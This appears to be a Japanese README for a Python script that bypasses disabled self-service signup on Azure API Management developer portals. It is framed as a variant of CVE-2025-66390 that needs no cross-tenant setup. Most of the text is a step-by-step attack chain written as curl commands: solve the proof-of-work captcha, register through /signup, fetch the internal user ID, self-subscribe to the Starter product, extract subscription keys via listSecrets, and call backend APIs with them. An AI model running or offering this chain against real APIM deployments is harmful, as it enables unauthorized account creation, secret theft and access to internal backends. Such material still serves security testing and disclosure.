
UIが無効な場合にAzure APIMのサインアップをバイパスするPythonスクリプトです。これはCVE-2025-66390とは異なり、クロステナントでの設定を一切必要としません。
Azure APIM 開発者ポータルは、ポータル UI からセルフサービスサインアップを無効化するように構成できます。一部のデプロイでは、UI ボタンが非表示または削除されている場合でも、基盤となる API エンドポイント(/signup)がアクティブで到達可能なままになります。このスクリプトは、以下の方法でそのギャップを悪用します。
/v2/captcha-challenge から proof-of-work (PoW) キャプチャチャレンジを取得する/signup に直接サインアップリクエストを送信するすべての入力(ターゲット URL、認証情報、プロキシ)は、実行時にインタラクティブにプロンプト表示されます。
CVE-2025-66390(CVSS 9.8 Critical)は、クロステナント APIM サインアップバイパスを説明しています。攻撃者は、サインアップが有効なテナントを悪用して、API リクエストの Host ヘッダーを操作することにより、サインアップが無効な別のテナントにアカウントを登録します。Microsoft はこれを製品の脆弱性ではなく構成の問題としました。
これはクロステナントの作成を一切必要とせず、代わりに /v2/captcha-challenge エンドポイントを使用して、平均 75000 回の反復でキャプチャを解くだけです。
python3 apim_signup.py
ターゲット URL、アカウント詳細、パスワード(非表示入力、確認のためエコー表示)、および任意のプロキシをプロンプト表示します。
サインアップリクエストが成功し、確認メールが届くと、完全な攻撃チェーンは次のようになります。
登録メール内の確認リンクをクリックします。これにより、管理 API が認証する前にアカウントがアクティブ化されます。
APIM 管理 API に Basic 認証(base64(email:password))でリクエストを送信し、内部ユーザー ID を取得します。
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
返された id フィールドは、その後のすべての管理 API 呼び出しで使用されます。
または、/developer/identity?api-version=2022-04-01-preview にアクセスします <-- バージョンは問いません。UI がログインを要求するので、そこからも ID を取得できます。
デフォルトの Starter 製品は approvalRequired: false で出荷されるため、管理者の承認は不要です。PUT で自己サブスクライブします。
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
確認メール(件名「Your subscription to the Starter」)が [email protected] から届きます。
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
APIM ゲートウェイに対して Ocp-Apim-Subscription-Key としてプライマリキーを使用し、認証付きのバックエンド呼び出しを行います。
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
アクセス範囲は Starter 製品にスコープされた API によって決まります — 誤って構成されたデプロイでは、追加認証なしで内部バックエンドが露出する可能性があります。
詳細については、この記事がチェーンを非常によく説明しています。クロステナントの部分を除いて参照してください。 https://www.praetorian.com/blog/azure-apim-signup-bypass/